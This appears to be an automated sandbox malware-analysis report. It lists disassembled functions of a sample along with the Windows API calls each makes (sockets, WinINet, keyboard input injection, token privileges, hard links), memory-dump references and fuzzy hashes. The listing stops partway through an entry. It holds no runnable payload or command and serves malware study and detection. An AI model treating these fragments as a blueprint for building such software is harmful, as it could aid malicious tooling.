Function 01009A63 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(0169EB38,?), ref: 01009AD2
ScreenToClient.USER32(00000002,00000002), ref: 01009B05
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 01009B72

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: dbc3ef1320f211ef785efe98b898583916c7be401dd38cf0e4e9c8e60d2820a7
Instruction ID: 490aba998743c83c66f27a6b6bb74dc9883b3f9e4851b5e8c9d0db6c9d2f4129
Opcode Fuzzy Hash: dbc3ef1320f211ef785efe98b898583916c7be401dd38cf0e4e9c8e60d2820a7
Instruction Fuzzy Hash: 26519674900609EFEF22DF58D9809AE7BF5FF45324F108299F899972D2D731A981CB90

Function 00FF6CBD Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00FF6CE4
WSAGetLastError.WSOCK32(00000000), ref: 00FF6CF4

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00FF6D58
WSAGetLastError.WSOCK32(00000000), ref: 00FF6D64

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 37cc4096bd3a15f632e7b33015bb0c48b5e26e3633733bc391fbe21a33544dd8
Instruction ID: 26d8d9122faa6acffa760664e9fe0c7cee32df0c5a130987e343322e62006094
Opcode Fuzzy Hash: 37cc4096bd3a15f632e7b33015bb0c48b5e26e3633733bc391fbe21a33544dd8
Instruction Fuzzy Hash: 6C41A275740200AFEB20BF64DC87F7A77A5AF44B10F488018FA59DB2D2DAB99D01A791

Function 00FF672D Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0100F910), ref: 00FF67BA
_strlen.LIBCMT ref: 00FF67EC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 3eafd3394266280ec15f10faf6996752600522e4cccd649ea13561919ebe9f73
Instruction ID: 82d3c6bce48d32cbcd759cd6b3b089892ffa6ffb7984e24159fab5128ab78006
Opcode Fuzzy Hash: 3eafd3394266280ec15f10faf6996752600522e4cccd649ea13561919ebe9f73
Instruction Fuzzy Hash: EA41BE31A00109ABCB14FB64DCC5FBEB3A9AF48750F148169F9169B2A2DF78AD00E750

Function 00FEBA5F Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00FEBB09
GetLastError.KERNEL32(?,00000000), ref: 00FEBB2F
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00FEBB54
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00FEBB80

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 1861580190182afc44b29e7a2acc2bccddaf7f2a967b95fc74d36c871f2381a6
Instruction ID: e4cbda78bf079be24c09c16912ecbc107820bd878c499e1d80ad2d8caba7968b
Opcode Fuzzy Hash: 1861580190182afc44b29e7a2acc2bccddaf7f2a967b95fc74d36c871f2381a6
Instruction Fuzzy Hash: B1413035604551DFCF21EF15C588A6DBBE1EF49320B198488EC4A9B362CB79FD01EB91

Function 01008AC0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 01008B4D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: f590a7e7b9dd68fd50b03c470c4fcd14bb8f754aa5db33b9b1924db3e6c7f1b6
Instruction ID: 164825695b040e5f45d6df1988804b13b647224b88c677d51b902ec051d97b80
Opcode Fuzzy Hash: f590a7e7b9dd68fd50b03c470c4fcd14bb8f754aa5db33b9b1924db3e6c7f1b6
Instruction Fuzzy Hash: B83190B4A04A04BFFB729A2CCC85BA93BA4FB06310F14C657FBD1D62D1DA35A5808751

Function 0100ADF1 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0100AE1A
GetWindowRect.USER32(?,?), ref: 0100AE90
PtInRect.USER32(?,?,0100C304), ref: 0100AEA0
MessageBeep.USER32(00000000), ref: 0100AF11

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: d1dd05bb342e88a2f347eb5ff3319369b96c3d8bbe564aa7ba9fb0c84c675a8a
Instruction ID: 4b1c2a69bcc9ab2ec088a11a4cc235a7269e22e894f42a13dd56ad940c5108ca
Opcode Fuzzy Hash: d1dd05bb342e88a2f347eb5ff3319369b96c3d8bbe564aa7ba9fb0c84c675a8a
Instruction Fuzzy Hash: D2418EB4700359DFEB23CF58C484BA97BF5FB49340F1481A9E9948B286D732A942CF50

Function 00FE0FE6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00FE1037
SetKeyboardState.USER32(00000080,?,00000001), ref: 00FE1053
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00FE10B9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00FE110B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 06b53111499c3791a8508cfd0605be0145e888834fc0d041f0c1e56cad785140
Instruction ID: 67e733367fb41d97708b55939e5bdcd45f549203267027e404730bad5fbcced2
Opcode Fuzzy Hash: 06b53111499c3791a8508cfd0605be0145e888834fc0d041f0c1e56cad785140
Instruction Fuzzy Hash: 77310531E446D8AEFB318A678C05BFABBA9BF45320F08431AE691521D1C37989C5B752

Function 00FE1121 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00FE1176
SetKeyboardState.USER32(00000080,?,00008000), ref: 00FE1192
PostMessageW.USER32(00000000,00000101,00000000), ref: 00FE11F1
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00FE1243

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 011530dd7f70cefb8cb2a0fda1570a362452fb2e7976c117a5aba9f7f591ee48
Instruction ID: 317f3b2ff5c54405d3272cbb21605d32e8d4250efee2a491d84ea3325b2d3b94
Opcode Fuzzy Hash: 011530dd7f70cefb8cb2a0fda1570a362452fb2e7976c117a5aba9f7f591ee48
Instruction Fuzzy Hash: 4F312830E4068C5AFF358A678C047FA7BAEBB49320F04431BE691921D1C37D4995F751

Function 00FB6415 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00FB644B
__isleadbyte_l.LIBCMT ref: 00FB6479
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00FB64A7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00FB64DD

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6bc96badfb199e9edf6847bafb22bdd2c8d053f81b50f9805ec1684fb913bcb8
Instruction ID: 41186d767a3faa09a08dfa12e63b4ed11ca15c73891091090194a77bb4a2284d
Opcode Fuzzy Hash: 6bc96badfb199e9edf6847bafb22bdd2c8d053f81b50f9805ec1684fb913bcb8
Instruction Fuzzy Hash: 8231AA31A00A46EFDB26CF66C845BEA7BA9BF41320F154429F864C7191EB39D851EB90

Function 01005175 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 01005189

Part of subcall function 00FE387D: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FE3897
Part of subcall function 00FE387D: GetCurrentThreadId.KERNEL32 ref: 00FE389E
Part of subcall function 00FE387D: AttachThreadInput.USER32(00000000,?,00FE52A7), ref: 00FE38A5

GetCaretPos.USER32(?), ref: 0100519A
ClientToScreen.USER32(00000000,?), ref: 010051D5
GetForegroundWindow.USER32 ref: 010051DB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 79340acb4bb38b54b41ea84249ee1839effb89b2658c9a70a5d8bf2754491944
Instruction ID: a0ad6b2b8229b8d219508c0b93e660e70deb79c36df87ac360dc57dab92a9a13
Opcode Fuzzy Hash: 79340acb4bb38b54b41ea84249ee1839effb89b2658c9a70a5d8bf2754491944
Instruction Fuzzy Hash: 8F313071900108AFDB14EFB5CC859EFB7F9EF88300F14406AE456E7241EA799E05DBA0

Function 0100C788 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

GetCursorPos.USER32(?), ref: 0100C7C2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00FBBBFB,?,?,?,?,?), ref: 0100C7D7
GetCursorPos.USER32(?), ref: 0100C824
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00FBBBFB,?,?,?), ref: 0100C85E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: deac8fbf2f28cb5013d7e129e5a7b075ed10598462d395a331a087d132c5ed03
Instruction ID: 5c585daf47ccbf7f0ef4c93a6e6c18677af0665ebe5d5a46334b18c137c00664
Opcode Fuzzy Hash: deac8fbf2f28cb5013d7e129e5a7b075ed10598462d395a331a087d132c5ed03
Instruction Fuzzy Hash: F631A535500018AFFB26CF58C998EEA7FF5FB0A320F0442D9FA858B291D7365A50DB64

Function 00FA0BD0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00FA0BF2

Part of subcall function 00F85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00FE7B20,?,?,00000000), ref: 00F85B8C
Part of subcall function 00F85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00FE7B20,?,?,00000000,?,?), ref: 00F85BB0

_fprintf.LIBCMT ref: 00FA0C29
OutputDebugStringW.KERNEL32(?), ref: 00FD6331

Part of subcall function 00FA4CDA: _flsall.LIBCMT ref: 00FA4CF3

__setmode.LIBCMT ref: 00FA0C5E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: b80332dfa19dba61da53ee412aa4fa7c8da7f845ef2c9a70fa440be8a1e68738
Instruction ID: 9469c0448925057d2239b6cae1b260504306fa0f28917fcc5b49af52952835af
Opcode Fuzzy Hash: b80332dfa19dba61da53ee412aa4fa7c8da7f845ef2c9a70fa440be8a1e68738
Instruction Fuzzy Hash: 011136B29042047FCB04B7B4AC879FE7B699F86330F14011AF20497282DFAD6D42B791

Function 00FD8B9E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FD8669
Part of subcall function 00FD8652: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FD8673
Part of subcall function 00FD8652: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FD8682
Part of subcall function 00FD8652: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FD8689
Part of subcall function 00FD8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FD869F

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00FD8BEB
_memcmp.LIBCMT ref: 00FD8C0E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FD8C44
HeapFree.KERNEL32(00000000), ref: 00FD8C4B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: c0955e5bc5d921209754af0dc6547a19dc33b444be0801ed672ce770b5e77262
Instruction ID: 34881afaa007c0fe44bbc2ea213ea1faba79b39489420ce1a7c637b7919c4951
Opcode Fuzzy Hash: c0955e5bc5d921209754af0dc6547a19dc33b444be0801ed672ce770b5e77262
Instruction Fuzzy Hash: 9421AE71E11209EFDB10DFA4C944BEEB7B9EF40390F08409AE454A7340EB35AE06EB60

Function 00FF1A5B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00FF1A97

Part of subcall function 00FF1B21: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00FF1B40
Part of subcall function 00FF1B21: InternetCloseHandle.WININET(00000000), ref: 00FF1BDD

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: a00152de32c1a9df24ca91cc6ccb0a1a84630562dd6365b6055ea748182c745c
Instruction ID: e3b34bd3fac96a5f70da9872a0fbedc6a78866545cde01c0cf9494365a7c312e
Opcode Fuzzy Hash: a00152de32c1a9df24ca91cc6ccb0a1a84630562dd6365b6055ea748182c745c
Instruction Fuzzy Hash: A621CF32200609FFEB229F608C00FBAB7A9FF84710F10001AFB45D6660EB759811BBA1

Function 00FDE1AF Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDF5AD: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00FDE1C4,?,?,?,00FDEFB7,00000000,000000EF,00000119,?,?), ref: 00FDF5BC
Part of subcall function 00FDF5AD: lstrcpyW.KERNEL32(00000000,?,?,00FDE1C4,?,?,?,00FDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00FDF5E2
Part of subcall function 00FDF5AD: lstrcmpiW.KERNEL32(00000000,?,00FDE1C4,?,?,?,00FDEFB7,00000000,000000EF,00000119,?,?), ref: 00FDF613

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00FDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00FDE1DD
lstrcpyW.KERNEL32(00000000,?,?,00FDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00FDE203
lstrcmpiW.KERNEL32(00000002,cdecl,?,00FDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00FDE237

Strings

cdecl, xrefs: 00FDE22E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: e707b8fb0af7d6483610f66904bbe0a298379bcdec77c0630b3b6d12a9adb5fc
Instruction ID: e1853a453836eebc4edc94f9df8a079b187b3b25a86571207e76931e8e00a6a1
Opcode Fuzzy Hash: e707b8fb0af7d6483610f66904bbe0a298379bcdec77c0630b3b6d12a9adb5fc
Instruction Fuzzy Hash: D611D336500301EFCB25AF64DC45E7A77B9FF85360B48802BF816CB254EB759851E7A0

Function 00FB5332 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FB5351

Part of subcall function 00FA594C: __FF_MSGBANNER.LIBCMT ref: 00FA5963
Part of subcall function 00FA594C: __NMSG_WRITE.LIBCMT ref: 00FA596A
Part of subcall function 00FA594C: RtlAllocateHeap.NTDLL(01680000,00000000,00000001,00000000,?,?,?,00FA1013,?), ref: 00FA598F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 2cb01a36c33a90cde36247d3bb0e67c8a7a85d05aa55c1b7f4133675420252af
Instruction ID: 054f3711bc371803952dbb1a9ea1b1b7ebcefc25c61e4c43de044c53a8d8eeea
Opcode Fuzzy Hash: 2cb01a36c33a90cde36247d3bb0e67c8a7a85d05aa55c1b7f4133675420252af
Instruction Fuzzy Hash: 4A113AB2D04A06AFCB312F75AC4179D37D55F05BF0F284429F9449A281DFBD8941BB50

Function 00F84531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F84560

Part of subcall function 00F8410D: _memset.LIBCMT ref: 00F8418D
Part of subcall function 00F8410D: _wcscpy.LIBCMT ref: 00F841E1
Part of subcall function 00F8410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F841F1

KillTimer.USER32(?,00000001,?,?), ref: 00F845B5
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F845C4
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FBD6CE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
